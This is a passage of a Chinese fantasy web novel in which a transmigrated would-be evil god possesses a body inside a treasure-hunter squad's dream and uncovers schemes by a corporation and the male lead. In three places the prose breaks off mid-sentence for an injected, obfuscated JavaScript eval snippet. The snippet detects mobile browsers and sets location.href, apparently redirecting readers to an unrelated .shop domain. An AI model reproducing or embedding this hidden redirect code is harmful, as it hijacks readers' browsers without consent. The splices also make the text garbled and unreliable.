都郁反应了一秒，才想起自己现在也是有翅膀皮肤的人，半信半疑地闭上了眼，朦胧的梦境世界渐渐隐入黑暗，身侧亮起一团浅紫色的光。 那是祭坛的位置？ 都郁闭着眼飘了过去，离得越近，那光芒越明亮，却一点也不刺眼，温暖的像是婴儿时期沐浴在羊水中。 一点萤火虫大小的红色光点漂浮在光团上方，随意地旋转移动，只是从没有离开紫光照耀的范围。 这是…… 都郁“目光”移到红色小点，脑中自动浮现出田一诺睡得打呼的脸，一只白鸭从梦中惊醒，警惕地抬头，什么都没发现后狐疑地睡去。 ‘小姐……’ 都郁在脑海中挥散这幅画面，看样子，这个绕着祭坛旋转的红色光点代表着田一诺的一部分。 都郁试探着用精神力戳戳光点，耳边传来一声惊天爆笑，光点扭曲延伸成一块屏幕。 “哈哈哈哈哈哈，边绍言，你也有今天！还敢向我求饶，你忘了你当初是怎么对我小姐的吗？！” 画面中，田一诺一手叉腰，一手举着最新信号的激光枪，枪口对准身前跪着的男人。 男人身材高大，五官笼罩在一团迷雾中，此时双膝跪地，两手被捆在身后。闻言他惊愕地抬起头，语气三分惊讶三分愤怒四分不可置信： “你知不知道我是谁？你是哪个神的神眷，敢进入梦里这样戏弄我？你信不信……” “呸！” 田一诺勃然大怒，扣动扳机疯狂射击，激光枪硬是让她用出了机关枪的架势，男人反驳的话还没说出口就被打成了筛子。 “真是不知悔改！你是什么东西敢害小姐！告诉你吧，我现在有了伟大的聆听之主的庇佑，呵，你来一次我打你一次！” “一诺，你好厉害啊，谢谢你替我找回了公道……” 都郁嘴角一抽，看见“自己”挽住田一诺的胳膊，泫然欲泣，一只眼悲伤，一只眼欣慰地笑了笑，信赖地把头靠在田一诺的肩膀上。 “嘿嘿嘿嘿嘿嘿小姐你放心啊！有我在，没人敢伤害你——嘿欸！这边绍言还敢再来，小姐你看好了，我这就替你教训他！” 男人的“尸体”渐渐淡化为迷雾，又渐渐具象成一个跪着的高大男人。 这次，他眼睛中的扇形图刚摆出来一半，田一诺从虚空中拉出火箭筒，直接一炮把他轰成了迷雾。 “嘿嘿嘿嘿……” 眼见“自己”眼眶一红，眼泪要掉不掉，都郁急忙趁着雷人台词还没说出口，眼疾手快地点掉光点，心有余悸地拍拍胸口。 看来这红点是田一诺的梦境了。自己以后还是不要再看了，隐私权不隐私权地先摆在一边，再来一次她不用升级祭坛了，脚趾都能扣出一座高级神殿来。 呼，查看田一诺的光点后，都郁对梦境光点的感知加深了，在她的感知范围里，能够感知到数十个，正在无规则乱飞的灰黑色光点。 都郁隐隐约约能感知到远处的黑暗里似乎有什么在召唤着她，只是她的感知有限，暂时还蔓延不到哪里去。 游戏对信徒的界定很宽泛，只需要完整念出那一段祈祷词，就算浅信徒。 至于虔信徒就难得多了，像田一诺那样脑回路异于常人的人才可不多见，不过她现在还停在“量”的范围里，先不追求“质”。 夜长梦多，那个生存任务，最好今晚就做掉。都郁有了打算，“目光”投向一个奇特的，多个光点缠绕在一起的光点球。 —— “静静啊，你知道吗，世界上只有三种疯子才会进入迷雾裂隙。” “啊，小猫姐，都有哪三类啊？” “你可听好了，这都是我的经验之谈，团外的人花钱请我讲我都没说。 “首先，是那群把脑子献给邪神的宗教疯子，如果遇到了就当没看见快跑，不要招惹他们。 “第二类呢，是受雇于财阀的那群科学疯子，遇见他们了你也得跑，免得不小心被他们抓去做人体试验。 “当然，面对这两种疯子，只有你不是他们目标的时候才能跑，如果你不幸被他们盯上了……只能求邪神保佑了。” “这么可怕？不过，猫姐，你只说了两种啊。” “笨啊！第三种不就是我们这些要钱不要命的穷疯子吗！哈哈哈哈哈没想到吧……” 弥漫着灰雾的小路上，一只五人小队的身影渐渐清晰。她们都身穿全套作战服，武器虽然略有陈旧但保养得很好。 为首的却是一个看上去五六岁的女孩，正骑坐在短发年轻女人肩上，兴致勃勃地讲着冷笑话。 一小一少身后依次是寸头中年女人、满头拳击辫的女青年以及带着金丝眼睛，脸颊圆圆的年轻女孩。 除了背着女童的沈奚静非常捧场地瞪大眼睛，笑了两声，身后的三人都不约而同地翻了个白眼。 留着寸头的中年女人更是毫不留情地呛声道：“老胡你再讲你的冷笑话就下来自己走！之前好不容易有个好苗子，就是被你的冷笑话吓走的！” “我只是想给大家活跃一下气氛嘛，而且什么叫我吓走的，我只是问她能不能接受三个月发不出工资，她自己就吓走了……” 对上女人凌厉的视线，女童不服气地瘪瘪嘴，但缩缩脖子没敢接着插话。 一行人渐渐远去，六道影子被拉长，直到融入到灰雾中消失不见…… “静静啊，你知道吗，世界上只有三种疯子才会进入迷雾裂隙。” “啊，小猫姐，都有哪三类啊？” 沈奚静非常捧场地开口，肩上老是坐不住隔几秒就要扭动几下的女童却突然没反应，顿了几秒，头发被揪住，耳侧响起的稚嫩童声里多了些凝重： “不对！老菜，有情况！” 沈奚静惊愕地瞪大眼，但身体已下意识转向，身后拳击辫、中年女人各自戒备，围住抱着小女孩的圆脸女生，瞬息之间由行进队列转变成了三人围着中间的战斗队列！ “老胡，什么情况？” 被抱在中间的女童脸上不见戏谑，黑色瞳孔深处浮现三道银光，脸上的神情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253751|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是超出她年纪的凝重： “我闻到了[记忆]与[循环]的味道……是梦境！我们在迷雾裂隙做梦了！” “什么？” 在迷雾裂隙中做梦，跟找死没有区别！众人悚然一惊，脑内像是有清脆镜面破碎的 声音，被称呼“老菜”的中年女人脸色愈发难看： “老胡，我们循环了多久？” 女童眼中银光消失不见，取而代之的是左右两边各多了三道黑色的细线，乍一看有些像小猫的胡子： “浅表层和中表层交界的气息……我们还没有进入到中表层。” “还好，还有救。” 中年女人说着，神情并没有好转多少，她整理着脑中刚找回的记忆，目光在队内缓缓转动，停留在拳击辫女孩身边的第六人身上： “小然，我记得最后是你值班吧？你为什么没有叫醒我们？” “我……我……” 被称做小然的女生一直垂着头，闻言僵硬地抬起头，呆呆地注视着中年女人，眼底似乎有一道细微的紫光闪过，全身过电般颤抖，“蔡领队对不起，我，我记不太清了……” 老菜的眼神越发不善，女童审视了小然片刻后转移视线，“不是她的错，是那个委托。” “委托？那个让我们进入深梦界送死的委托？不是已经拒掉了吗？” 她们说好听点是寻宝猎人，说难听点是什么脏活都能干的黑手套，不过她们的组织“猫胡子海盗团”在下城区算是有点名气，能挑一挑任务。 前不久夸克药业的人下了一个委托，不过因难度系数太大被猫胡子拒绝了。不过对方不依不饶，还搬出公司的名头压人，自己这一行人这才匆忙挑了个寻物的任务避风头。 女童从胸前的口袋里掏出一条黯淡的珍珠项链，眼里闪过一丝阴狠：“是做了伪装的[梦境珍珠]，有人想让我们进入深梦层。” 这群公司的狗！明的不行还敢来暗的！ 看着变了样的任务委托道具，众人还有什么不明白的，连最沉默的拳击辫都骂了句“该死。” 只有身后有人依旧呆呆地站着，闻言盯着珍珠好奇地开口：“什么是梦境珍珠？” “[梦境珍珠]是深梦层才能得到的道具，绑定梦境后能让人随时随地进入特定梦境，这些入团培训不都有吗？你没记住怎么过的实习？” 虽然知道这次的事不能怪这个叫“小然”的实习生，可对方的无知却是直接撞到了女人的枪口上，老菜恨铁不成钢：“回去之后你把团规抄三遍！” 冒失的实习生终于安分，老菜眉头拧起，看向猫胡子，“老胡，夸克的人这事做的太不地道了，现在怎么整？” 深梦层太过危险，但留在这里也不见得没有危险。猫胡子闭上眼，还带着婴儿肥的脸蛋像放久了的干橘子一样皱起，两个扎起来的麻花辫变得银白。 几个呼吸间，圆脸少女抱着的五六岁女童，就变成了一个身材袖珍，苍老得像是五六十的老太太。 猫胡子的声音也变得暗哑，“……命运指导我们向前。” “该死的夸克。” 老菜又骂了一句，吩咐诸人警戒，警惕地走入更深的灰雾。 【哇哦，不愧是[命运]要素的特质，用起来自带一股神棍味】 无人能看见，表情略呆滞的实习生“小然”的头顶，蹲着一只有三对翅膀的鸽子，鸽子头顶蹲着一个拇指大小的袖珍小人。 11. 迷雾包裹的梦境 【咕哒~】 166点头赞同，差点把都郁颠下去，她揪着“小然”的刘海爬上去，好奇地瞅着梦境世界中的五个活人，【她们真的发现不了我耶。】 【做梦的人当然发现不了现实中的人。】 所以灵界漫游可以让自己进入迷雾裂隙中的梦境，并且不被其他人发现？ 都郁若有所思地点点头，又拽了拽“小然”的头发，在意识里问166，“那她呢？为什么她和其他人不一样？” 如果说她对队伍里其他人都还只能是观看，在看到这个奇怪的人时，她心里莫名升起预感——她可以操控这具身体，或者说，“进入”。 白鸽低头用喙整理胸羽，【这是一具“容器”，容器当然是不会做梦的。如果不是我们接管了这具身体，她们在梦中是意识不到还有一个人的。】 即使都郁现在进来了，因为“容器”的特殊性，老菜等人还是下意识地忽视了“小然”身上的异常，并在潜意识里降低了对她的关注。 “容器？” 这是一个新词，都郁感受了一下，觉得166这个形容词说的非常精准。她现在是以类似投影的方式进入到“小然”体内的，能够改变旁观状态，借助“小然”的手干涉梦境。 但都郁能做到这一点，是因为“小然”的身体内没有一丝意识活动存在，就像一个空的水杯，都郁很轻松地就把自己装了进去。 但这个“容器”状态怎么想怎么不对，看老菜等人，“小然”之前还是个活人，是在进入梦境后变成这种“容器”状态的。 是谁干的？她们口中的夸克药业？还是另外一股势力？如果是后者，那么她们五个人身上，算自己在内已经有至少三个的注视者了。 真热闹啊。 【咕~毕竟任何一个进入迷雾裂隙的人类都像星星一样显然。】 一人一鸽聊天间，五人小队已经穿过了迷雾，站到了一座围墙前。 阴沉的雾气消散，眼前的围墙虽破败，但铁栏杆、砖石墙，都给人一种回到文明社会的亲切感。 被称呼为“老菜”的寸头女人脸色却更加难看。迷雾裂隙中的梦境往往更加抽象扭曲，侥幸从梦境中逃生的人往往会记不清梦中的事物，只有惊骇的情绪萦绕在心间。 但这梦境中也有例外，在深梦层中，往往会出现和现实非常相似的幻象。这些幻象看似寻常，却比浅梦层和中梦层更加危险。 但她们也没有办法，浅梦层还好，还有被人唤醒的可能，一旦进入中梦层，除了找到位于深梦层的梦境核心，根本没有离开梦境的方法。 老菜按住心底不安，沉声道：“马上要进入深梦层了，尤其这还是个多人梦境，大家都是有经验的人，但我还是要啰嗦几句，万事小心为上，不要轻易改变梦境。” 深梦层的梦境不动还好，一改变就是往坏方向改变。都郁察觉到老菜似乎重重看了自己一眼，连忙操纵“小然”点了点头。 老菜心事重重地收回视线，脑中刚升起“我怎么会同意带这么一个菜鸟进入迷雾裂隙”的疑问快速沉入意识层底部。 “这建筑不像是城市近几年的建筑风格。” 圆脸少女一手抱着同伴，一手扶了下眼镜，镜面有一瞬间变得湛蓝。 她的眼神一瞬间变得惊讶，但还是说出了自己看见的，“这似乎，是三百年前的建筑。” 三百年前？ 众人心里都忍不住咯噔一下，三百年前，实在是一个特殊的节点。 就在那一年，人类迎来了史无前例的灾难，诡异降临，迷雾四起，文明四分五裂，人类只能以聚居区的形式苟延残喘。 直到超大型城市“逐日之城”的建立，人类才终于从那场灾难中缓过神来。 为了记住那场过于惨烈的灾难，也为了提醒后人灾难并未远去，人们称那场灾难为“大灾变”！ 大灾变之前的建筑怎么会出现在这里？老菜心里的不妙预感提升到了极致，难道这就是那群狗日的财阀想让他们去找的？一座大灾变前的建筑？ 疯了吧！哪怕是新手中的新手，刚入行的菜鸟们都知道，大灾变以前的东西，不管看上去多么平凡，碰都不能碰，最好看到的第一眼就掉头就跑！ “球球说的没错。” 圆脸女孩怀里抱着的不知什么时候又变成一个四五岁的女童，脸上六根对称分布的黑线变成红色，“这里就是大灾变之前的建筑，梦境核心就在里面……而且，我们没有退路。” “狗日的夸克药业！” 老菜回头，忍不住爆了一句粗。她们身后哪还有翻滚着的迷雾？地面就延伸到身后身后两三米，地面之外虚空吞噬了所有的光芒，只留下一片虚无的黑。 她们现在就像在一个空中孤岛上，想要活命就只能向前！ “老菜姐，你也别太悲观了，小猫姐不是说了我们能出去吗？放宽心，小猫姐的预言什么时候出过……” “好了好了我知道了。” 老菜倒吸一口凉气，急忙伸手捂住沈奚静的嘴。 她知道对方是好心，可沈奚静就像有个邪门的言出法随的特质一样，说出的话常常都能灵验，只不过是好的不灵坏的灵，而且好的还有可能倒着灵。 经过沈奚静这么一闹，老菜倒是冷静多了。看女童窝在闻人秋怀里闭目养神，心知在这种地方预测对她的消耗过大，她眯着眼打量这看起来平平无奇的大灾变前的建筑，“先搜集资料，别贸然进去。” “这里有门！” 沈奚静率先看见半开着的铁门，众人的视线顺着看向那道有点岁数的铁门，闻人秋扫过铁门上挂着的摇摇欲坠的牌子，谨慎地靠了过去。 “是大灾变前的古文字……大力你看着我点。” 大灾变的扭曲不仅仅在物理层面，还包括精神层面，甚至连文字都能扭曲。大灾变降临后，大量记录着知识、历史、信息的文本被付之一炬，这种精神的沦落带给文明的伤害甚至比诡异生物的还要剧烈。 如今逐日之城使用的文字是由AI生成的，构词混乱，语法冗余，几乎杀死了文学，但也正是这种错误百出的“错文”，保留了文明的火种。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253752|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了现在，这些三百年前的文字，因沾染诡异气息变成了禁忌，只有少数游走在疯狂与清醒边缘的禁忌学者还能辨认出这些文字。 闻人秋按住眼镜腿，三片厚度不一的镜片弹出，各自泛出深浅不一的蓝光，做完这些才抬头看向牌子上的字。 “……锦江市夸克医疗有限公司附属研究院……” “夸克？夸克药业竟然在大灾变前就存在？” “研究院？” 众人的惊诧点各不相同，都郁操纵“小然”抬头，同样处于震惊状态，这所谓具有诡异气息的文字，不就是汉字吗？ 同样经历了一场诡异的灾难，为什么他们的世界文字没有变异？是时间的长短？小说里的人类在灾变后的世界里过了三百年，自己的世界则在大灾变降临后三十年就走向崩溃。 会是这个原因吗？ 但是——语言她现在使用的是从原身记忆里学来的“错语”，可为什么三百年前，两个世界用的是同一套语言？ 身体结构，语言，社会形态，星球运转的规律，这一切都相似得有些令人害怕。 是因为小说的作者“观书人”是原先世界的人，所以小说世界的设定完全和原先世界一样？可自己都穿越了，小说世界真的只是一本小说吗？ 都郁一眼不眨地盯着那块牌子，比起所谓诡异力量的冲击，这块牌子上的信息含量对她的冲击力更大。 瞥了眼又开始装傻的166，她深刻地意识到，小说世界和原先世界的联系比她想象得要深得多。 “小心，是畸变怪物！” 被称为“大力”的拳击辫女生确认闻人秋正常，精神表面没出问题，眉头忽的皱起，对着铁门深处举起枪。 畸变怪物？ 众人的心里此时和刚刚的都郁一样满是问号。 众所周知，畸变怪物是指大灾变后，拥抱污染扭曲，处于堕落临界点，即将蜕变为堕落种的变异生物。 又众所周知的是，在迷雾裂隙的深层梦境里，梦境核心没被干扰前，深层梦境还是相对符合它具现出的场景的规律的。而这次的场景是三百年前，大灾变尚未降临的时候。 为什么这里会出现畸变生物？！ 早在拳击辫发现异常前，都郁就已经觉察到了围墙中缓慢蠕动的怪物，然而眼前看到的一切又让她的心里产生新一轮的疑惑。 疑似主体的长条状软体，主体旁伸出的无数边缘略透明的触须，以及怪物尾部紧紧缠绕着的肉球，除了大了一些，这只和她进入迷雾裂隙遇到的那只怪物没有区别！ 太巧了。 都郁一颗心忽的沉下去，自己遇到猫胡子一行人，是偶然的吗？或者说，自己当初进入的那一条迷雾裂隙，是偶然出现在自己旁边的吗？ 不是都郁多疑，而是在理论中构成一切超凡的九大上位要素中，【命运】赫然是其中一环！而且原身丢掉的特质，恰恰也是【命运】要素！ 自己遇到猫胡子一行人，进入迷雾裂隙，甚至……自己的穿越，这一切到底是偶然，还是【命运】的安排？ 12. 片面的真相 “任务都派出去了？为什么现在连一个线索都没有？” “这个，边少你也知道，那中地方除了下城区的人没人愿意去，而下城区那帮懒鬼，钱收的一个比一个快，动起手来就推三阻四的……” 通讯那边的男人点头哈腰，笑容谄媚，边绍言烦躁地单手松开领结，“我给你一个月，一个月还找不到，任务中心主任的位置不如换个更有用的人坐。” “我办事您放心，一个月，不不不，不用一个月，我肯定能帮您找回贵集团丢失的宝物！” 男人额头汗珠落下，小心奉承了几句，见边绍言眼下的青黑，关怀地问道：“边少您这是没休息好？我这里最新收了几年……” 坏了，眼见对方更加不耐烦，男人心道一声糟糕，马屁似乎拍在了马腿上面，正要小心赔不是，听见了边绍言压着火气的声音： “我怀疑之前布置的梦境守护装置失效了，你一会儿带人来看看。” “啊？”男人震惊地瞪大眼睛，这次的情绪却是完全出于本心，能够侵扰梦境的……可就只有那么几位，他压低声音：“边少，一会儿医生是不是也要……” “我没出事，只是检查一下，看有没有安全隐患。” 边绍言脸色一黑，他醒来后就让家庭医生看过了，确实没有诡异侵蚀的痕迹……只是，平白无故的，他怎么会做一个被疯女人打死数十次的怪梦！ “滴。” 内部通讯里发来讯息，边绍言看完脸色更黑，一言不发挂掉通讯，险些捏爆手腕上的光脑。 两个B级异能者，连一个废物都看不好！都华茂这次又要得意了！ 边绍言火气四溢，只觉最近简直诸事不顺。 仆人拉开眼前的门，边绍言收敛眼中怒火，整整衣领走进去，还好，还好这最重要的一件事没有出错。 “言哥哥……” 床上的女孩似乎刚刚睡醒，黑发散乱，脸颊微粉，眼底还带着潮气，抬眼望过来时像一头涉世未深的麋鹿。 边绍言心一软，蹙紧的眉头不自觉分开，低声道：“吵醒你了？” “没关系的，本来也快到起床时间……” “那不行，你身体不好，还是要听医生的多休息。” 边绍言压下想要起身的顾菟，命令女仆扶着她坐好，才虚坐在床边，亲手接过温养的汤剂，递给顾菟。 屋里的女仆做完后识趣地离开，顾菟捧着杯子低下头，嘴唇抿起，声音很轻：“言哥哥，这些事我可以自己来的……” “照顾自己的女朋友难道不是一个男人的本分？” 边绍言捏捏顾菟的鼻子，打断她的话：“精神力增长的速度变缓了吗？医生怎么说？” “黄医生说我恢复得很好，没想到实验这么成功。” 女孩歪头想了想，不确定地补充道：“不过他说这毕竟是之前从没成功过的，我的情况具有特殊性也不一定能复刻，最好还是过一个月再使用能力比较稳妥。” “对了。” 顾菟像是突然想起什么似的，眼睛因激动亮起，揪住边绍言的衣袖： “我的病能好，得多亏了都小姐，她将那么宝贵的东西捐给我，我真不知道要如何回报她了……言哥哥，我什么时候可以当面跟都小姐道谢……” “这是她欠你的。” 边绍言快速打断顾菟，但很快语调又放缓了下来，“你难道忘了之前她是怎么欺负你的了？要不是她的特质刚好适配，我都不想让你和这么恶毒的女人有关系。” 见顾菟抿着嘴还想说什么，边绍言眼里闪过一丝不耐，但很快柔声敷衍道：“这是一项K级的保密项目，都郁那女人现在在一个高密的基地，等你身体好了我再带你去见她，嗯？” 听到能去见都郁，顾菟总算松开了拽着边绍言的衣角，苍白的脸颊上突然染了绯红，下唇被咬得发白，“言哥哥……我听妈妈说，你，你跟都小姐之前，之前还有婚约……” 顾菟的声音越说越低，说到最后，恨不得把自己的头塞到床底下去，边绍言啼笑皆非，伸手将眼前人揽在怀里： “我之前怎么没发现你这么爱吃醋，那婚约是我一岁时定下的，遇见你之后已经推掉了，这处理你还满意吗？我的小兔子？” “言哥哥，别这么叫我……” 顾菟把头埋在男人怀里，黑发间露出的耳朵以肉眼可见的速度红起来，耳侧只能听见男人得意的大笑以及可靠有力的心跳。 她忍不住抬头，这个角度下男人的五官依旧无可指摘，眼下的青黑非但没有减轻他的风采，还给他增添些忧郁的风情。 顾菟痴痴望了片刻，左手轻轻搭在男人脸上，“言哥哥，你最近没休息好吗？” 男人眉头烦躁地拧起，又故作不经意地松开，“没什么大事，就是集团最近丢了一个重要的样品，已经派人去找了。” 如果不是大事的话那么能干的言哥哥怎么会这么烦躁？ 顾菟下定了决心，从边绍言怀里坐起，“言哥哥，我现在是异能者了，我能帮得上忙的！” “这……你的身体才刚好，医生都建议……”边绍言眼中浮现出纠结，但很快在顾菟的反驳中败下阵来： “我之前怎么没发现你这么能言会道……好吧，详细资料下午黄医生来给你做检查时会带给你，你言哥哥这次要靠顾兔子的帮忙喽。” “放心吧言哥哥，我的身体我自己有数……” 看边绍言频繁看时间，顾菟一个激灵，恍然道：“言哥哥，我是不是耽误你太久了，你快去公司吧！这里有我顾妈妈照顾我，你放心好了！” “你刚回顾家，我应该多陪陪你……” “没关系的，事业最重要嘛，我可以理解的。” 顾菟脸上善解人意的浅笑一直持续到边绍言充满愧意地快速离开，女仆恭敬但疏远地关上门，自动窗帘在客人离去后严丝合缝地拢起，密不透风的黑暗中只能模糊看清一道孤坐的身影。 良久，她生疏地点开手腕上最新型号的光脑，她基因上同母异父的妹妹发来的消息还静静地停在屏幕上： “亲爱的姐姐，明天是我跟你男朋友的订婚宴，嘻，你会祝福我们的吧^^” —— “唔……” 都郁正一边操纵“小然”划水，一边看猫胡子五人攻击畸变怪物，精神空间里奇怪的感觉一闪而过。 像是自己的东西被什么人摸了一把，都郁精神力扫过空间，没发现异样，揪了揪166的胸羽，“小说女主用原身的特质了？” 特质这种玄妙的东西，即使被剥夺，但和原主人之间还存在感应也不是不可能。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253753|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 166偏头像是在听什么，过了几秒回答：“咕，好像是的。但嫁接特质之后，最少也要等一个月后才能使用，不然排异加剧，身体会受不了的。” 都郁眼神微转。小说虽然狗血乱泼，但男女主却是作者多次强调的灵魂伴侣，男主应该不会放任女主乱用异能，损害身体的。 但小说的内容一定为真吗？或者说，小说表面上写的，真的是事情的全部吗？ 男主声称剥夺原身的特质是为了女主的病，小说里虽然没写这段，但原身死后女主咳血、虚弱、失眠多病，身体就没好过，实在不像是异能者的身体。 都郁先前一直认为这是小说和真实世界的偏差，但如果小说没错呢？ 男主确实剥夺了原身的特质，但出发点却从来不是治好女主的病。恰恰相反，小说里女主的身体在原身死后是变得越来越差的！ 男主剥夺原身特质的目的，是为了换一个更好用的工具人！小说虽然没有明写，但在后期隐晦地写了好几次，男主在女主“误打误撞”的建议下，如有神助地实现了多次惊天逆转，男主因此称女主为“小福星”。 看来这个“小福星”的后面是要加上一个问号了。 都郁颇感有趣，当初看小说时，每当看到男女主互动她都脚趾扣地没仔细看，现在回想，却从中读出些有意思的东西。 已知男主是别有用心，被作者盖章是男主心友的女主呢？以及作者又是出于什么样的心态，运用春秋笔法给这段故事涂上“真爱”的外衣的？ 原身的记忆残缺凌乱，她又是否真的是书中那个无恶不作的恶毒女配？ “有趣，真是有趣。堕落种只是长得恶心了一点，真要恶心人，那还得是看人类啊。” 精神空间中回荡着都郁兴致勃勃的感叹，166忍不住抖抖腿，脖子后的绒毛炸起，感觉玩家很需要精神治疗的样子。 “叽！” 五人不愧是经验丰富的寻宝猎人，很快找到了这种陌生怪物的弱点，所有触须被打断，肉球四散炸开，怪物怨毒地长叫一声后死去。 都郁回神瞥了一眼，毫不意外。别说是五个人，这群人中间的任何一个，都能一对一杀了这怪物。 这忽老忽幼的女孩，代号猫胡子，姓名未知，寻宝猎人组织猫胡子海盗团的团长，特质猫胡子，等级A。 寸头中年女人，蔡春玉，外号老菜，这支临时探险队的领队，特质未知，等级B。 戴眼镜的圆脸少女，闻人秋，外号球球，队里的解密担当，特质窥密学者，等级未知。 扎拳击辫的寡言少女，阿莉娅·可列宁娜，外号大力，输出手，特质未知，等级B+。 就连看上去不太聪明，绰号为“静静”的沈奚静，都有B+的精神力。 原身和小说都没涉及到下城区的势力分布，但都郁猜测，猫胡子海盗团这个听上去有些滑稽的组织，就算不是最强，也一定在下城区是顶尖的势力。 都郁正整合着“小然”脑中的残存的信息，一道穿白大褂的身影莫名从空气中浮现，朝一行人跑了过来： “哎呀你们怎么就打死了！这是多么宝贵的实验体你们知道吗！” 圆脸少女捏着眼镜腿，凝视三秒后忍不住后退一步，声音急促：“好强的堕落气息……我们涉足了邪神的领域！” 13. 最伟大的样品 都郁一瞬间还以为自己暴露了。 见所有人都吓得和那白衣男保持了距离，这才意识到自己遇到同行了。 这倒不能怪都郁迟钝，毕竟作为预备邪神的一份子，她用不上这条寻宝猎人们放在第一位的“警惕邪神”守则。 眼前这位“同行”的下属对猫胡子一行人异常的反应视而不见。 他心疼地在围着怪物尸体拍照，手在虚空中一伸，一个普普通通的医疗箱凭空出现，此时他的手指刚好摸到医疗箱表面，十分顺畅地打开箱子，对怪物尸体取样。 众人心里皆是一凛，老菜抬手搓了搓胳膊上冒出的鸡皮疙瘩。都郁蹲在六翼白鸽头顶眼睛发亮： “166，这灵界里的东西我能合成吗。” 都郁正缺这些医学用具。垃圾场里只能合成出基础材料，像白衣男掏出的这类精密医学仪器，用三块玻璃是合成不出来的。 166像是闻到了什么臭东西，非常拟人地用一只翅膀遮住鸟嘴：【可以，但合成只能合成真实存在的材料。】 梦里的东西有可能是假的，多么合理，都郁更好奇的是这里居然存在真实的东西？ “我要怎么辨别？” 【闭着眼睛看。】 都郁闻言闭上眼，没有视力的干扰，环境的声音更加敏锐，一些嘈杂扭曲的细碎声音钻入耳朵，像是一条条细线，在脑海中编织出动态影像。 都郁“看”过去，墙壁、天空、地面，大灾变前的破旧小院消失，只剩下形状扭曲怪异的灰雾团，世界只剩下深深浅浅的灰色，寂灭又虚幻。 都郁无师自通，心里浮现出明悟：这些就是灵界中虚假的存在。 不能合成的东西就没有意义，都郁看向一片灰霾世界中唯一的一片彩色。奇异的是，当她“看到”这些彩色时，正常的视觉也随之出现。 两种不同的画面同时出现在脑中，都郁突然理解开始灵界漫游前完成的那次“跃迁”了，正常人的大脑恐怕无法处理这种程度的信息量。 站在前面的老菜颜色最不显眼，是接近深灰的黑色，不过和无时无刻都在翻涌的雾气比，这黑色非常纯粹深邃，隐隐透露着不详的色彩。 猫胡子的色团也非常好认，是一行人中最小、也最明亮的那一个。银色光团中隐隐有一条明亮的光带，交叉旋转，扭成头尾相接的“8”字形。 一脸紧张地盯着白衣男的沈奚静，则是一团明媚鲜亮的艳粉色，粉色跃入眼帘的一瞬间都郁也“看”到了鲜花的气味与春雨的嘲意。 阿莉娅·可列宁娜的颜色则是征战不休的暗红与枯褐，两个颜色的交界处隐隐传出刀剑相碰的嗡鸣声。都郁有些明白为什么这个寡言女孩的外号会是“大力”了。 窥密学者闻人秋的颜色给都郁的感觉最矛盾，一团神秘清冷的幽蓝色深处，格格不入地存在着一团脏红色，正好在象征着心脏的位置。 不知为何，那团如同腐烂的心脏般的脏红色给都郁的感觉很不好，“看”到的第一眼耳朵都传来灼痛感。 更重要的是—— 都郁不用低头就能“看”到身下，在她的“视觉”里，她是一团在浅紫深紫不断循环的紫光，166则是一团有点脏兮兮的白光。 都郁控制的“小然”却不像小队里的其他人，整体是空白的白色，边缘处依然染上了虚无的浅灰，但心脏的位置，她和闻人秋一样都有一团脏红色！ 虽然“小然”心脏处的颜色更深些，但那种如出一脉的令人厌恶的气息做不了假，她俩之间必定有关系！ 既然这个“小然”是某个存在制作的“容器”，那么和她有着相似气息的闻人秋，是否也跟那个存在有关联？ 都郁“凝视”了一会儿闻人秋心脏处的脏红色——在这个视角下她似乎很容易就能获得信息。 很遗憾，她心里隐隐有预感，如果那团脏红色的侵染还停在角落时，就像现在“小然”脚下的灰色，她还能用某种办法“剥离”掉这种颜色。 但现在那团红色已经占据了心脏的位置，尽管闻人秋看着比已经是“容器”的小然正常得多，都郁也没办法剥离。 对那位存在来说，闻人秋和小然的状态甚至可以说没有任何区别，只看祂什么时候想弹指抹掉闻人秋的意识。 都郁暗自摇头，现在这只五人队伍，队伍里有不知名存在塞进的“容器”和闻人秋，身后有大财阀夸克药业的陷害，前面是未知邪神的地盘，哦，还有她这个邪神预备役在一旁强势围观。 有意思，真是有意思极了。都郁觉得这一行人真是越发有趣了，区区五个人，竟然能牵扯进至少三方势力的争夺中，真是厉害。 不过……除了她们这些外来者，都郁没有看到一个彩色的，都郁还没丧心病狂到合成活人的地步——再说，她还需要这些人来给她贡献信仰点呢。 都郁遗憾地收回“视线”，睁开眼时白衣男正好也完成了全套采样的工作，尤自遗憾地看着怪物尸体叹了口气，嘟囔了几句，起身看向一行人。 “你们就是新来的安保员了吧？以后记住了，这些都是实验室宝贵的资产，你们出事了有保险，它们可有钱都买不到！” 白衣男指着为首的老菜一顿输出，如果不是都郁“看过”他的真面目，她几乎无法从这个梦境造物的身上看出任何非人感。 